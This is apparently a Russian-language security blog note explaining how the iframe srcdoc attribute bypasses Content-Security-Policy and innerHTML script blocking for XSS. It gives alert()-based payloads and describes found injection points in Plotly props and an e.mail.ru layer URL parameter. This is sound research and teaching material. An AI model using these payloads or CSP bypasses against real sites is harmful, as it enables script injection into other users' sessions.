все заметки

Про iframe и еще

2025.03.12

Про XSS написано тьма и маленькая тележка. Навалю немного букв в эту кучу.

Предисловие

Основные полезные нагрузки для XSS которые чаще всего встречаются <img src onerror=alert()>, <svg onerror=alert()> и <script>alert()</script>.

Это не лучший вариант в нынешнее время, когда часто используется Content-Security-Policy (CSP). Отсутствие unsafe-inline или наличие nonce блокирует подобные вещи.

Наилучший вариант использовать <iframe> с атрибутом srcdoc который позволяет отобразить значение (html) в iframe. И в отличие от src, он не подвластен CSP frame-src, с помощью которого можно ограничить схемы data: и javascript:

Если Content-Security-Policy: frame-src 'self' то такой код не отработает:

<iframe src="data:text/html,<script>alert()</script>"></iframe>

Проверить с CSP и без

А вот пример с srcdoc:

<iframe srcdoc="<script>alert()</script>"></iframe>

Проверить с CSP и без

А прикол еще в том, что srcdoc главнее src, и если он есть, то загрузка src не происходит.

Чем еще полезен srcdoc?

Через innerHTML возможно использовать только теги с событиями (onevent), а вот <script>alert()</script> (так же как и <script src="?callback=eval('alert()')//"></script>) уже блокируется политикой безопасности браузера по умолчанию. Не говоря уже о CSP.

Но если это обернуть в iframe с srcdoc, то проблем не будет. Этим трюком свободно можно загрузить сторонние скрипты:

# Content-Security-Policy: script-src 'self' 'unsafe-eval' 'nonce-rand'\ninnerHTML = <iframe srcdoc='<script src=?callback=eval("alert()")//></script>'></iframe>

Проверяем

Так вот, в моей практике были случаи, где разработчики забывали про этот атрибут. Вот два из них.

Plotly

Была возможность настройки презентации в iframe. Запрос содержал атрибуты и значения:

{\n "type": "Plotly",\n "props": {\n    "style": {},\n    "height": 400,\n    "width": 450,\n    "scrolling": "no",\n    "frameBorder": 0\n }\n}

Это привело на мысль замены src, но естественно не сработало, там была ссылка на презентацию.

А вот srcdoc отлично вписался:

{\n "type": "Plotly",\n "props": {\n    "srcDoc": "<script>alert(origin);<\/script>",\n }\n}

e.mail.ru

Наткнулся на интересный url, типа e.mail.ru/?layer={"width":400,"height":400}.

Пошел копаться в исходниках. А там прекрасное в шаблонизаторе:

<fn:match name="content">\n <iframe\n    src="{url}"\n    width="{attrs.width}"\n    height="{attrs.height}">\n    <fn:for data="Object.keys(attrs['iframe-attrs'])" as="name">\n      <fn:attr name="{name}" value="{attrs['iframe-attrs'][name]}"/>\n    </fn:for>\n </iframe>\n</fn:match>

В этот layer json можно запихать iframe-attrs, из которого будет добавлен любой атрибут в этот iframe.
src уже есть, его не переназначить, а вот srcdoc в тему:

e.mail.ru/?layer={"width":400,"height":400,"iframe-attrs":{"srcdoc":"<script>alert(origin);<\/script>"}}

А еще, я как то обходил WAF с помощью iframe и srcdoc. Превосходный тег и атрибут.

еще по теме xss